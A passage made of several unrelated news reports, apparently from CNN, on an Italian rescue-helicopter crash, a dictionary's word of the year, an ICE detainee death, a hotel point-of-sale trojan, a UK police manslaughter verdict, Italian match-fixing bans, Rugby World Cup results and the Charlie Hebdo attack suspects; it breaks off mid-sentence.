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Story highlightsRescue helicopter was transporting an injured skier in the central Italian mountainsTwo police officers, three medics and the skier were all killed (CNN)An emergency helicopter crashed in the mountains of central Italy Tuesday, killing at least six people.The crash near the ski resort of Campo Felice in the province of L'Aquila happened during an operation to rescue an injured skier, according to the Prefecture of L'Aquila.Rescuers work in the area where the helicopter crashed.Two members of the Guardia di Finanzia police, three medical personnel and the injured skier were killed. The crash took place around 12:15pm at an altitude of 600 meters and was caused by bad weather, according to the Prefecture.The region has already been hit by earthquakes, heavy snowfalls and a deadly avalanche that killed at least 14 people at the Rigopiano Hotel in Pescara province on Wednesday. Rescuers carry away the body of one of the victims.The hotel is located around 40 miles from the helicopter crash site, on the other side of the Gran Sasso mountain.Read MoreThe National Agency for Air Safety has opened an investigation into the helicopter crash and is sending an investigative team to the area, which was made inaccessible by the adverse weather conditions, according to a statement.CNN's Milena Veselinovic also contributed to this report.
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Story highlights"Binge-watch" is the word of the year according to British-based dictionary CollinsFirst coined in the 1990s, usage has tripled over the past year, says publisherShortlist influenced by communications tech and increased discussion around gender (CNN)A dramatic change in TV viewing habits has seen "binge-watch" named word of the year by UK-based dictionary Collins.Usage of the verb -- defined as "to watch a large number of television programs (especially all the shows from one series) in succession" -- has tripled since the previous year, according to the publisher.Although not a new coinage, the word was a runaway winner due to a sharp rise in its usage, which reflected a change in behavior, Elaine Higgleton, international publisher at Collins Learning, told CNN."It's actually been around since the 1990s, and binge is an old Lincolnshire dialect word that made its way into common English in the 19th century," she said.JUST WATCHEDWhy do we binge-watch TV?ReplayMore Videos ...MUST WATCHWhy do we binge-watch TV? 02:08"From a very slow start, it has really taken off exponentially as a term people are using every day," she said, reflecting the popularity of online streaming services like Netflix that allow viewers to watch hit shows, like "Breaking Bad" or "House of Cards," on demand.Read More'Transgender' clear secondCollins' lexicographers compile the list through monitoring newspapers, magazines, books, websites and other sources around the world to track emerging word trends. Last year's winner was "photobomb" - "to intrude into the background of a photograph without the subject's knowledge."The clear second-place winner this year was "transgender" which, although also not a new word, had doubled in frequency of usage from the previous year."It's probably that transgender figures have had a much higher profile in the media -- you only have to think of people like Caitlyn Jenner and Laverne Cox and programs like 'Orange is the New Black'," said Higgleton.JUST WATCHEDCaitlyn Jenner makes her public debutReplayMore Videos ...MUST WATCHCaitlyn Jenner makes her public debut 02:43"I think there's been a lot more awareness of gender issues which has led people to use these terms more."READ MORE: America's transgender moment'Dadbod' in; 'mumbod' outOther words shortlisted for word of the year included "dadbod" -- defined as "an untoned and slightly plump male physique, especially one considered attractive" -- and "manspreading," "the act or an instance of a male passenger in a bus or train splaying his legs in a way that denies space to the passenger sitting next to him."Hiddleston said her team had tracked the emergence of similar gendered terms relating to women -- such as "mumbod," or "she-bagging," which described a female passenger taking up an extra seat on public transport by placing her bag on the seat.But these had not made the shortlist, as they were much less popular.Actor Seth Rogen (right, pictured here with James Franco) is often cited as an example of the "dadbod." The rise in terms like "manspreading" was associated with the emergence of mobile communication technology, which allowed commuters to comment in real time, through a tweet or text, on events they encountered on their journey, said Higgleton."That instant communication means we have words for things that in the past we wouldn't have bothered defining," she said.Other finalistsThe shortlisted words will be added to online version of the dictionary, with those that stood the test of time being added to the next print edition in 2018. Higgleton said she expected that some wouldn't make it."I think some of them will drop out of usage," she said. "Binge-watch might go fairly quickly. Who knows what new technology might be around the corner in 18 months time?"JUST WATCHEDStudy: Binge-watching could be sign of depressionReplayMore Videos ...MUST WATCHStudy: Binge-watching could be sign of depression 01:51Other shortlisted words of the year announced by Collins include:Clean eating: following a diet that contains only natural foods, and is low in sugar, salt, and fat.Contactless: referring to payments, smart cards, etc that utilize RFID (radio-frequency identity) technology and do not require a PIN or signature from the customer.Ghosting: ending a relationship by ignoring all communication from the other person.Shaming: attempting to embarrass a person or group by drawing attention to their perceived offense, especially on social media.Corbynomics: the economic policies advocated by the UK Labour leader Jeremy Corbyn.READ MORE: WTF, clickbait, photobomb added to dictionary
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(CNN)Authorities are investigating after an ICE detainee facing possible deportation apparently killed himself.Efrain De La Rosa, 40, was found unresponsive in a cell at the Stewart Detention Center in Lumpkin, Georgia, on Tuesday night and was later pronounced dead at a hospital, Immigration and Customs Enforcement said. The apparent cause of death was self-inflicted strangulation, the agency said Thursday, adding that the case is under investigation.De La Rosa, a Mexican national, was in removal proceedings at the time of his death, ICE said.The Georgia Bureau of Investigation is investigating the death at the request of the local sheriff. There is no indication of foul play, GBI Special Agent in Charge Danny Jackson said.Read MoreA preliminary investigation revealed De La Rosa was alone in an isolation cell at the detention center when officials there found him, Jackson said. It was not immediately clear why De La Rosa had been placed in isolation. ICE spokesman Bryan Cox said he could not provide additional comment because an agency review of the death is ongoing. Amanda Gilchrist, a spokeswoman for CoreCivic, which owns and operates the facility, said the company is fully cooperating with investigators but declined to comment further because of the active investigation.De La Rosa is the eighth detainee to die in ICE custody in the 2018 fiscal year, the agency said.De La Rosa's death comes less than six months after the death of another ICE detainee who had been in custody at Stewart. Yulio Castro Garrido, a 33-year-old Cuban national, was diagnosed with pneumonia at Stewart and was hospitalized as his condition worsened. He died in January at the Mayo Clinic in Jacksonville, Florida.And in May 2017, Jean Jimenez-Joseph, a 27-year-old Panamanian national, killed himself in solitary confinement at Stewart.Immigrant rights groups swiftly criticized the facility as word of De La Rosa's death spread."The deaths and systematic abuse at Stewart are not only tragic, but infuriating," said Azadeh Shahshahani, legal and advocacy director at Project South. ICE said it is conducting an agency-wide review of De La Rosa's death and "is firmly committed to the health and welfare of all those in its custody."
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Specialized Trojan can stealing credit card details from hotel
The next time you check in to a hotel, a cybercriminal could be checking you out. A remote access computer Trojan (RAT) designed to steal credit card details from hotel point-of-sale (PoS) applications is being sold on the underground forums, according to researchers from security firm Trusteer.
Trusteer, the world's leading provider of secure web access services, detected these schemes and says hotel poaching is a virile trade in underground and tech forums. Attack codes can be purchased in Visa underground forums for $280 and the spyware cannot be detected by anti-virus software. The package even includes a manual loaded with tips on how the poacher can trick the desk clerk into loading the spyware for them.
Malware writers often repackage their malicious installers with new algorithms in order to evade signature-based antivirus detection, said Bogdan Botezatu, a senior e-threat analyst at antivirus vendor BitDefender.
"The fact that the RAT's creator decided to target the hospitality industry is consistent with a recently observed change in the focus of cybercriminals - an expansion from online banking attacks to attacks against PoS systems, Criminals are increasingly expanding the focus of their attacks from online banking targets to enterprises," said Trusteer's CTO Amit Klein.
While this credit card scam seems nearly impossible to detect and prevent, you can keep your finances, and identity, in check by routinely monitoring your bank balances, and reporting any suspicious or unauthorized transactions to your bank immediately.
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London (CNN)A British police officer has been found guilty of the manslaughter of former professional soccer player Dalian Atkinson, but he was cleared of his murder, a spokesperson for Birmingham Crown Court told CNN on Wednesday.Atkinson, a former forward for English Premier League football team Aston Villa, went into cardiac arrest after officers used a Taser on him in Telford, central England, in August 2016.The court heard that Police Constable Benjamin Monk used a Taser on Atkinson for 33 seconds -- more than six times the recommended time -- and kicked him twice while he lay on the ground.Paramedics were unable to save Atkinson and he died around 90 minutes later.Police Constable Benjamin Monk was found guilty of manslaughter. Monk denied any wrongdoing and said he believed there was a danger to life for him and his colleague, the court spokesperson confirmed to CNN.Read MoreMonk was cleared of the charge of murder but found guilty of manslaughter, which carries a maximum sentence of life imprisonment.Monk's conviction is the first time in 35 years that a police officer has been found guilty of murder or manslaughter following a death involving police contact or in custody.He told the court that Atkinson, 48, appeared to be having a mental health crisis, made death threats and smashed a glass door pane at his childhood home in Telford, the PA Media news agency reported.Monk claimed Atkinson was trying to get up when he aimed kicks at his shoulder in self-defense after he had run out of Taser cartridges, according to PA. But prosecutors said the officer lied about the number of kicks he had delivered to Atkinson's head, claiming he could remember only one aimed at his shoulder, PA reported.Monk also claimed to have no recollection of putting his foot on Atkinson's head as authorities arrived at the scene, the outlet reported.UK policeman charged with murder after Tasered ex-footballer diesDuring his 16-year career, Atkinson also played for Ipswich Town and Sheffield Wednesday in England as well as teams in the Spanish, Turkish and South Korean leagues.A notably talented player, Atkinson scored a spectacular goal against Wimbledon in December 1992, which the BBC's "Match of the Day" program voted goal of the 1992-1993 season."Dalian Atkinson is much missed by all his family and friends and the footballing communities of the clubs he played for in his long and successful career as a professional footballer, especially Ipswich Town, Sheffield Wednesday and Aston Villa," Atkinson's family said in a statement following the verdict."Dalian's footballing talent led him to achieve great things in his life. Our sincere hope is that now that the truth about his death is known, and justice has been done, we can start to remember him not for the manner in which he died, but for the way in which he lived," the statement continued.Sentencing will take place on Monday, PA reported. The court is still deliberating an assault charge against relating to another police officer.CNN's Lianne Kolirin contributed reporting.
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Story highlightsJuventus coach Antonio Conte banned from football for 10 months.Conte's assistant Angelo Alessio also banned by Italian FederationSerie A champions Juventus to launch an appealSix other Italian players acquitted of charges made against themItalian football champions Juventus plan to appeal against the 10-month ban that coach Antonio Conte has received after failing to report match-fixing when he managed Serie B side Siena. Conte and his Juve assistant Angelo Alessio, who was also at Siena, were suspended by the Italian Football Federation (FIGC) following a police investigation over allegations of "sporting fraud and fraudulent association" in relation to a league fixture against Novara in April 2011. While earlier charges of direct involvement in match-fixing have been dropped, the FIGC maintain Conte was aware of the corruption taking place during his tenure at Siena. Last season Juventus won the Serie A title for the first time since being stripped of two scudettos and relegated in 2006 after another match-fixing scandal. "The club underlines its full support for Antonio Conte and Angelo Alessio, in the hope that their innocence will emerge during the appeals process," said a Juventus statement. The gambling game: Soccer's battle with bettingJUST WATCHEDArrests in soccer match-fixing probeReplayMore Videos ...MUST WATCHArrests in soccer match-fixing probe 03:27JUST WATCHEDDel Piero's Juventus love affairReplayMore Videos ...MUST WATCHDel Piero's Juventus love affair 03:56JUST WATCHEDEaton talks match fixing in JanuaryReplayMore Videos ...MUST WATCHEaton talks match fixing in January 02:36JUST WATCHEDMuamba: I've played football again ReplayMore Videos ...MUST WATCHMuamba: I've played football again 01:20Conte submitted a plea bargain earlier in August, in which he would have had to pay a €200,000 ($245,000) fine and serve a three-month suspension, but the FICG rejected a more lenient sanction. The former Juventus captain, 43, led his side to back into the Champions League after managing them through an entire season without suffering a defeat, but came under official investigation in June after his first season at the helm of the Serie A giants."He is not being accused of match-fixing himself, and with appeal the sentence may be reduced to five months. It's enormous scandal, and it goes way beyond Conte," John Foot, author of "Calcio: A History of Italian Football," told CNN.In total, 13 clubs and 44 members of Italian League football are alleged to have been involved in the betting scandal investigation including Siena, which accepted a six-point deduction last week as part of a plea bargain.Serie B sides Lecce and Grosseto have been excluded from Italy's second division for the 2012-13 season, and their former presidents Giovanni Semeraro and Piero Camilli face five-year suspensions. Six other players -- Leonardo Bonucci, Simone Pepe, Marco di Vaio, Salvatore Masiello, Daniele Padelli and Giuseppe Vives --have been acquitted of the charges against them. South East Asia bettingIn May, Italian police descended on the national team's Euro 2012 training base to speak to defender Domenico Criscito as part of a wide-ranging investigation into match fixing. The 25-year-old, formerly of Genoa but now at Russian club Zenit St. Petersburg, was questioned by officials probing gambling markets linked to fixing results of matches in the Italian top flight. A total of 19 people were arrested in the ongoing investigation by magistrates in Cremona, 11 of them players in Italy's top division. "The top people are still there and no-one has resigned," said Foot, Professor of Modern Italian History at University College London. Photos: Footballers speak out on addiction Photos: Footballers speak out on addictionLundekvam speaks out – Former Southampton defender Claus Lundekvam has claimed there was widespread spot-fixing in the English Premier League. Lundekvam told a Norwegian television channel he and fellow players would bet on minor details of games, such as when the first throw-in would be taken.Hide Caption 1 of 3 Photos: Footballers speak out on addictionBohinen's concern – Lars Bohinen enjoyed eight years in the Premier League and played alongside Lundekvam at international level for Norway. He told CNN there is far more addiction among top-flight players than people see. He said: "You could sense it from the way they gambled."Hide Caption 2 of 3 Photos: Footballers speak out on addictionAdams' addiction – Former England captain Tony Adams is one footballer who has lived with addiction. After overcoming drug and alcohol problems he founded the Sporting Chance Clinic, dedicated to helping other sportsmen and women do the same. The Professional Footballers' Association and his one-time Arsenal teammate Paul Merson are also patrons.Hide Caption 3 of 3 Photos: Juventus revived under president Agnelli Photos: Juventus revived under president AgnelliControversial celebrations – Juventus fans hold up three stars to signify the 30 championships won by the club, but two in 2005 and 2006 have been struck off the official records after the "Calciopoli" match-fixing scandal.Hide Caption 1 of 6 Photos: Juventus revived under president AgnelliMatch-fixing shame – Former Juventus managing director Luciano Moggi gives testimony at a hearing into the match-fixing scandal. He was banned for life while the club lost two Serie A titles and was relegated to Serie B.Hide Caption 2 of 6 Photos: Juventus revived under president AgnelliUnbeaten run to Serie A title – Juventus players celebrate their Serie A title success after going through the 2011-12 league season unbeaten to relegate arch-rivals AC Milan to second place.Hide Caption 3 of 6 Photos: Juventus revived under president AgnelliConte restores Juve pride – Juventus coach Antonio Conte, a former fans' favorite as a player, has transformed his side's fortunes since taking charge at the start of the 2011-12 season.Hide Caption 4 of 6 Photos: Juventus revived under president AgnelliDel Piero's farewell – Alessandro Del Piero suffered a disappointment in his farewell match for Juventus, losing the Coppa Italia final to Napoli to end a 43-game unbeaten run this season.Hide Caption 5 of 6 Photos: Juventus revived under president AgnelliLike father, like son – Andrea Agnelli is the latest member from the famous family which own FIAT and Juventus to take the helm at "The Old Lady." The son of legendary former president Umberto Agnelli, he took charge in May 2010 and has made sweeping changes at the club.Hide Caption 6 of 6 Photos: Premier League issue Twitter code Photos: Premier League issue Twitter codeRooney Tunes – Manchester United and England striker Wayne Rooney has 4.6 million followers on Twitter. The Premier League's new code of conduct on the use of social media sites is to underline to players the responsibility they have to such a big audience.Hide Caption 1 of 5 Photos: Premier League issue Twitter codeRio's musings – Rio Ferdinand is a way behind teammate Rooney but still has three million followers who tune in for his views on everything from fashion to music, with a bit of football thrown in too of course.Hide Caption 2 of 5 Photos: Premier League issue Twitter codeNewcomer Cole – Chelsea's Ashley Cole is a recent convert to Twitter but has already caused controversy, taunting fans from former club Arsenal over how many trophies he's won since swapping North London for West.Hide Caption 3 of 5 Photos: Premier League issue Twitter codeKing Kenny Tweets – Even some Premier League managers have taken to Twitter. Former Liverpool boss Kenny Dalglish is on board and took to his page to thank the club's fans after he was sacked in May.Hide Caption 4 of 5 Photos: Premier League issue Twitter codeRonaldo rules – Neither Rooney nor Ferdinand can rival the popularity of Real Madrid's Cristiano Ronaldo though. The Portugal star currently has 11.8 million followers, and rising.Hide Caption 5 of 5 Photos: Football's invisible children Photos: Football's invisible childrenFootball's 'disappeared' – An academic study in 2009 estimated as many as 20,000 African boys are living on the streets of Europe after failing to secure contracts with European clubs following their trials.Hide Caption 1 of 11 Photos: Football's invisible childrenTransfer market – In the last six months the total income from 4,973 transfers around the globe was $576 million. Stars like Arsenal striker Robin van Persie dominate the transfer headlines but the bulk of football transfers go under the media's radar.Hide Caption 2 of 11 Photos: Football's invisible childrenSearching for a superstar – Clubs are constantly on the search for the next "Lionel Messi." The Argentine joined Barcelona from Newell's Old Boys in 2000 at the age of 13.Hide Caption 3 of 11 Photos: Football's invisible childrenPaper chase – Every professional player is required to possess a "sport passport" under FIFA regulations. But if a player is registered for the first time in Europe, confusion can arise because a federation there might not necessarily record the player's former clubs in South America or Africa.Hide Caption 4 of 11 Photos: Football's invisible childrenFootball's 'bounty hunter' – Sports agent Paulo Texeira has switched his attention from representing footballers to fighting training compensation claims for South American and African clubs. In his spare time he is a keen surfer.Hide Caption 5 of 11 Photos: Football's invisible childrenThe Ceregatti case – Teixeira claims Italian club AC Milan owes Brazilian club Botafogo FC of Ribeirao Preto compensation involving its training of the player Sergio Ceregatti.Hide Caption 6 of 11 Photos: Football's invisible childrenFIFA involved – Milan and Belgian club Anderlecht have complained to FIFA about what they claim is Teixeira's "defamation and calumny."Hide Caption 7 of 11 Photos: Football's invisible childrenAt all levels – Training compensation is not just a matter for the European mega-clubs. Lowly Welsh team Aberyswyth Town had to wait over two years for a five-figure compensation payout from English side Shrewsbury Town after Tom Bradshaw became a professional. Hide Caption 8 of 11 Photos: Football's invisible childrenThe Olivier Bernard case – In the Olivier Bernard case, the European Court ruled against Newcastle United in 2010 after a claim by the player's former French club Lyon, but cautioned that training-cost compensation is only acceptable if it reflects the accurate amount lost by the breach of contract.Hide Caption 9 of 11 Photos: Football's invisible childrenDi Santo compensation – Argentine laywer Ariel Reck made a successful compensation claim regarding Franco di Santo. After transferring from Chilean club Audax Italiano to Chelsea in 2008, training fees were still owed to two Argentine teams.Hide Caption 10 of 11 Photos: Football's invisible childrenSamuel Eto'o Foundation – In a move to ensure the future rights of African clubs and players alike, Texeira has formed a partnership with the Samuel Eto'o Foundation to ensure care of the players enrolled at the Cameroon star's numerous football academies.Hide Caption 11 of 11"The authorities have come close to uncovering the networks a few times in recent years, but they've really got it now. They have found a network that goes to Singapore and China -- it's an international network." Football's world governing body FIFA is waiting for the FIGC to report on the scandal."FIFA is currently waiting to receive all relevant documents from the Italian FA (FIGC) pertaining to the case and will then evaluate the next steps," it said. "This includes the potential extension of sanctions to have worldwide effect, in accordance with the FIFA Disciplinary Code."Long-running sagaSince February, FIFA has extended 39 domestic sanctions in Turkey, Finland, Korean Republic and Croatia in an attempt to preserve the integrity of the sport. It said that South East Asia is "widely considered as a center of legal and illegal betting."FIFA said it has invested €20 million ($24.5 million) as part of a global initiative to clamp down on corruption within football. The scheme targets illegal and irregular betting and match-fixing, which is estimated to be worth hundreds of millions of dollars a year in Asia alone.How can football tackle match fixing?Friday's announcement of FIGC's punishments are the latest in a long-running saga that has cast a shadow over Italian football. Seventeen people were arrested in a similar swoop last year, the most high-profile of which was Atalanta captain Cristiano Doni. He was subsequently banned from the game for three years.
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Story highlightsArgentina into RWC semifinalsPumas beat Ireland 43-20 in CardiffAustralia edge underdog Scotland in final minutesArgentina will play Australia for place in final (CNN)If the action on Saturday was breathless, then Sunday's remaining quarter final matches of the Rugby World Cup should have carried a health warning, as Argentina blew away Six Nations champion Ireland, while a controversial last-gasp penalty broke Scottish hearts.Expansive and scintillating play backed up by the boot of Nicolas Sanchez, who kicked four conversions and five penalties, gave the Pumas a deserved 43-20 win at the Millennium Stadium in Cardiff.Follow @cnnsport
It's the second time in its history Argentina has reached this stage. Daniel Hourcade's team will now meet Australia next weekend, after the Wallabies edged past luckless Scotland 35-34 in a pulsating match at Twickenham later Sunday.Reigning World Cup champion New Zealand and South Africa will contest the other semifinal.For a nation better known for its football exploits, it is a remarkable achievement for Argentina, celebrated by its most famous exponent of the round ball game, Diego Maradona, who has promised to fly back for the semifinals after earlier seeing them thrash Tonga in a pool match.Sanchez's 23 points are the biggest individual haul in a #RWC knockout game since Jonny Wilkinson's 24 v #FRA in '03 pic.twitter.com/XSNQXP02RM— Rugby World Cup (@rugbyworldcup) October 18, 2015
Read MoreMaradona would have been hard put to have matched the flair and enterprise the Pumas showed to build up a quick 17-0 lead over the stunned Irish.Matias Moroni and Juan Imhoff ran in two tries, both converted by impeccable flyhalf Sanchez, who also landed a penalty.JUST WATCHEDDan Carter: Rugby star's quest for World Cup gloryReplayMore Videos ...MUST WATCHDan Carter: Rugby star's quest for World Cup glory 02:28Ian Madigan, in for the injured and badly missed Johnny Sexton, kicked the first points for the Irish, but another Sanchez penalty took Argentina 20-3 clear.Either side of half time, the injury-depleted Irish enjoyed their best spell of the quarterfinal, as Luke Fitzgerald and Jordi Murphy went over for tries.READ: 25 million Japanese gripped by?With Madigan making the conversions, the Pumas only led by three points, but in a similar pattern to the start of the match, Joaquin Tuculet and Imhoff crossed in the closing moments and man of the match Sanchez made no mistake with the extra points, plus a late penalty.It left a winning margin of 23 points, but Imhoff admitted it had been a closer encounter than the score suggested."It was a very tough game and worked hard to get this victory," he told UK match broadcaster ITV Sport. "We will enjoy this moment but we will have another very difficult match next weekend."Ireland captain Jamie Heaslip -- standing in for injured and much missed Paul O'Connell -- said his team had paid for the start and finish of the match.JUST WATCHEDCNN Sport explains: What happens in a scrum?ReplayMore Videos ...MUST WATCHCNN Sport explains: What happens in a scrum? 01:57"Argentina play a very expansive game and stretched us and we didn't make it easy for ourselves at times."But fair play when we got back to three points they took their opportunities to kick on and we couldn't take ours," he said.Penalty dramaAustralia was a heavy favorite to beat underdog Scotland, but needed a 79th minute penalty from Bernard Foley to seal victory and underline the dominance of Southern Hemisphere rugby in rugby's four-yearly global showpiece.Host England did not even make it out of the pool stages, while Wales came up short in a hard-fought quarterfinal with South Africa Saturday.Scotland, however, went out of the tournament with heads held high after a never-say-die performance, leading 34-32 with seven minutes remaining after Mark Bennett's try from an interception, converted by Greig Laidlaw in his 19-point tally.#AUS make it an all-southern hemisphere last 4 for the 1st time in #RWC history - and here's how they celebrated! https://t.co/JsjwpM7DGg— Rugby World Cup (@rugbyworldcup) October 18, 2015
A controversial decision by referee Craig Joubert to award Australia a penalty for offside presented Foley with the chance to win the match and he duly slotted the kick, under immense pressure, through the posts. It spelled bitter heartbreak for Scotland, who led 16-15 at the half and always stayed in the match when Australia turned up the heat after the interval, running in two more tries to take its tally to five, with Foley finally getting his range with the boot, including the vital late kick.READ: Confused by rugby?Who will win RWC 2015? Have your say on CNN Sport's Facebook page
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Story highlights Yemeni journalist says Said Kouachi briefly roomed with AbdulMutallab in YemenWoman suspect is purportedly shown in newspaper photos in a niqab with a weapon The other three suspects, all men, had been in trouble with the law beforeThose three male suspects are dead after police offensives (CNN)After a terrifying attack on a satirical magazine in Paris this week, the gunmen responsible for killing 12 people were shot down in a standoff with police northeast of the capital Friday.At the same time, security forces stormed a kosher supermarket in Paris to end a hostage situation there.The two scenes were linked by the fact that three of the four suspects were thought to be part of the same jihadist group, said Pascal Disant of the Alliance Police Union.Also, the suspects in the second standoff demanded the freedom of the suspects in the first, Disant said.That didn't work.Read MoreThe suspects in the magazine slayings were killed Friday near Dammartin-en-Goele in an operation by security forces, the mayor of Othis, Bernard Corneille, told CNN.At almost the same time, the hostage standoff in Paris came to an end when police moved in, killing one of the suspects, with another apparently escaping. Four civilians were killed, apparently by at least one suspect, and two police officers were wounded, authorities said.French newspaper Le Monde claims this is a 2010 photo of Hayat Boumeddiene. CNN has not independently confirmed the authenticity of the image.First standoff sceneThe two men killed northeast of Paris were the Kouachi brothers, alleged to have been the gunmen in the deadly terrorist attack on the Paris offices of satirical magazine Charlie Hebdo.JUST WATCHEDA closer look at the French terror suspectsReplayMore Videos ...MUST WATCHA closer look at the French terror suspects 02:32Cherif Kouachi, 32, and Said Kouachi, 34, were French citizens known to the country's security services, according to officials. One spent time in jail for ties to terrorism, and was in Syria as recently as this summer, according to a French source. The other went to Yemen for training, officials say.A French source close to the French security services told CNN that investigators are looking at evidence that suggests Cherif Kouachi traveled to Syria and returned to France in August 2014.Investigators don't know how long he was there, according to the source, who had no information about whether Said Kouachi had also traveled to Syria, as USA Today reported.But a U.S. official said the United States had information from the French intelligence agency indicating Said Kouachi had traveled to Yemen as late as 2011 on behalf of the al Qaeda affiliate there. A French official also told CNN Said Kouachi had been in Yemen.Justice Minister Christiane Taubira told CNN that one of the brothers had been in Yemen in 2005, but did not say which one.Both were in the U.S. database of known or suspected international terrorists, known as TIDE, and also had been on the no-fly list for years, a U.S. law enforcement official said.Second standoff sceneMeanwhile, the suspects in the Paris incident were Amedy Coulibaly, 32, and Hayat Boumeddiene, 26. They were believed to have killed a policewoman in Montrouge, a southern suburb of Paris, on Thursday. Le Monde newspapers claims this is a 2010 photo of Hayat Boumeddiene. CNN has not independently confirmed its authenticity.Those two suspects allegedly held several people hostage in a kosher store near Porte de Vincennes in eastern Paris, police union spokesman Romain Fabiano told CNN affiliate BFMTV.But that incident ended when a police operation led to the death of Coulibaly, authorities said. Several hostages left the supermarket running, flanked by security service agents.Boumeddiene apparently escaped in the confusion and was the target of massive manhunt Friday, Disant said.Not much was immediately known about Boumeddiene. Only a little more was known about Coulibaly.Hayat Boumeddiene is a suspect in Paris police shooting on Thursday, January 8.Police launched an appeal for information on these two individuals.Coulibaly lived with Boumeddiene, a Western intelligence source told CNN.Much more is known about the Kouachi brothers, who were the subject of an intense manhunt in France that mobilized more than 80,000 law enforcement and military personnel:CHERIF KOUACHIThe younger of the two brothers had ties to extreme Islam for years.JUST WATCHEDWho is Anwar al-Alwaki?ReplayMore Videos ...MUST WATCHWho is Anwar al-Alwaki? 03:07In fact, before he was killed Friday, he told BFMTV that he trained in Yemen with al Qaeda in the Arabian Peninsula and that he met with Anwar al-Awlaki, the American-born Muslim who was the face of AQAP until he was killed in the fall of 2011 in a U.S. drone strike.In 2008, Kouachi was sentenced to three years in prison for being part of a jihadist recruitment ring in Paris that sent fighters to join the conflict in Iraq.The case began with his arrest in January 2005, at age 22, when he and another man were about to set off for Syria en route to Iraq, where war was raging.He had a long history of jihad and anti-Semitism, according to documents obtained by CNN. Raised in ophanagesIn a 400-page court record from 2007, Kouachi was described as wanting to travel to Iraq "to go and combat the Americans."Kouachi stated in a deposition, "I was ready to go and die in battle," and "I got this idea when I saw the injustices shown by television on what was going on over there. I am speaking about the torture that the Americans have inflicted on the Iraqis."Said Kouachi, left, and Cherif Kouachi are suspects in the Paris attack.Kouachi was raised in orphanages and foster homes from a young age, and became involved in a group in Paris' 19th arrondissement, or district, the court papers said.Prosecutors outlined strong details of Kouachi's interest in jihad, martyrdom and links to anti-Semitism, according to documents CNN obtained in conjunction with French newsmagazine L'Express.Kouachi stated he came to the idea of jihad through Farid Benyettou, a well-known spiritual leader who's been long associated in France with supporting jihad and terrorism, and is associated with a mosque in the 19th arrondissement. Aspiring jihadistThrough Benyettou, Kouachi studied how to wield arms and use Kalashnikovs. Kouachi stated that "the wise leaders in Islam told him and his friends that if they die as martyrs in jihad they would go to heaven" and "that martyrs would be greeted by more than 60 virgins in a big palace in heaven," said documents in a section entitled "Motivations of Influence."The documents also said, "(F)or him any place on earth where there is such an injustice is justification for jihad; what was going on Iraq was in his eyes such an injustice."The mosque, called La Mosquee de Stalingrad, has since been demolished and appears to be a construction site. JUST WATCHEDAn attack in the U.S.? 'It's only a matter of time'ReplayMore Videos ...MUST WATCHAn attack in the U.S.? 'It's only a matter of time' 01:11Smoking potCourt records show Kouachi said he didn't consider himself a good enough Muslim, and said he had only been to the mosque two or three times before he met Benyettou, and he had been smoking cannabis. Kouachi told investigators he committed himself to the idea of jihad during Ramadan in 2004. He told his friends he was going to Syria to fight. The documents say when police interviewed his accomplices, they stated that Kouachi "said he was ready to firebomb and to destroy Jewish shops in Paris."When officials confronted Kouachi with that information, he told them "that's not exactly what I said. ... I don't hide having proposed anti-Semitic ideas, but I would note that I never really would have done that." Kouachi's lawyer, Vincent Ollivier, painted a different picture of his client in the 2005 incident.The attorney said at the time that his client's profile was more "pot smoker from the projects than an Islamist.""He smokes, drinks, doesn't sport a beard and has a girlfriend before marriage," Ollivier told the French newspaper Libération the month after his client's arrest.Police officers leave after storming the building in Dammartin-en-Goele.Didn't want to chicken outA report from the TV network France 3, which apparently first aired in 2005, described Kouachi as a young fan of rap more interested in chasing girls than going to the mosque. But he changed when he became a student of Benyettou, according to the report.Kouachi's cursory training for his planned mission in Iraq involved jogging in Paris' hilly Buttes-Chaumont park and being shown the basics of operating a Kalashnikov by a man he met at the mosque, French newspaper Le Monde reported at the time.Kouachi told the court that he was motivated by U.S. troops' abuse of detainees at Abu Ghraib prison in Iraq. But he said he was relieved when he was arrested."The closer the departure got, the more I wanted to turn back," he told the judge, according to Le Monde. "But if I chickened out, I was in danger of looking like a coward."The court said Kouachi had wanted to attack Jewish targets in France but was told by Benyettou that France, unlike Iraq, wasn't "a land of jihad," Bloomberg News reported at the time.Prosecutors presented no evidence to the court of any plans to carry out attacks in France, according to a New York Times report.Born in Paris to Algerian parentsKouachi and six other people, including Benyettou, were convicted and sentenced to prison in 2008 for their roles in the recruitment ring. Kouachi didn't actually go to prison after the trial because half of his three-year sentence was suspended and he had already spent enough time in pretrial detention, Bloomberg reported. He was released from custody before the trial.A former pizza delivery boy, Kouachi was working as a fishmonger in a supermarket at the time of the trial, according to French media. He told the court that his main interest at the time was rap music, according to Bloomberg.Years later, Kouachi found himself facing a new criminal charge.French police special forces evacuate hostages after launching the assault at a kosher grocery store in Porte de Vincennes in eastern Paris.In 2010, Kouachi was charged in connection with a foiled plot to aid the escape of Smain Ait Ali Belkacem, an Algerian Islamist imprisoned for bombing a Paris commuter rail station in 1995. But public prosecutors later dropped the charges, according to Le Monde.Kouachi was born in Paris to Algerian parents who died when he and his brother were young, Libération reported.He was raised in a home in Rennes, a city in the northwestern French region of Brittany, according to the newspaper. He obtained a qualification in sports education before moving back to Paris, it said.French newspaper Le Figaro talked to neighbors near the apartment in the northern Paris suburb of Gennevilliers that Kouachi reportedly shares with his wife.People in the neighborhood described him as polite and reserved, the newspaper reported. The local baker, whose name was given only as Salah, said the younger brother was "always cheerful."Inside the building, a man who lived on the same floor as Kouachi and his wife described her as wearing a full veil through which only her eyes were visible. The wife "doesn't speak to any man, ever," the neighbor, who was only identified by his first name of Eric, told Le Figaro.SAID KOUACHILess is known about the elder Kouachi brother, who doesn't appear to have as high a profile as his younger sibling.A French official told CNN that Said Kouachi received training in Yemen. The official did not give details about when the trip occurred or how long it lasted.A U.S. official says the United States was given information from the French intelligence agency that Said Kouachi traveled to Yemen as late as 2011 on behalf of the al Qaeda affiliate there.JUST WATCHEDBrothers trained with terror groupsReplayMore Videos ...MUST WATCHBrothers trained with terror groups 02:04His time in Yemen is corroborated by a Yemeni journalist, who says that he saw Said there -- and that Said claimed to have briefly been a roommate of Umar Farouk AbdulMutallab, the convicted would-be "underwear" bomber who tried but failed to detonate a device aboard a U.S. airliner over Detroit on Christmas Day in 2009.Yemeni journalist and researcher Mohammed al-Kibsi told CNN that he saw Said Kouachi twice in the old city of Sanaa, Yemen, in 2011 and 2012. Al-Kibsi said was researching AbdulMutallab's background in mid-January 2011 when he came across Kouachi unintentionally. He said Kouachi was friendly and used to walk around the old city, hence how he met al-Kibsi.Kouachi said that he and AbdulMutallab used to pray together at Yemen's al-Tabari School, and that they shared an apartment for one to two weeks in 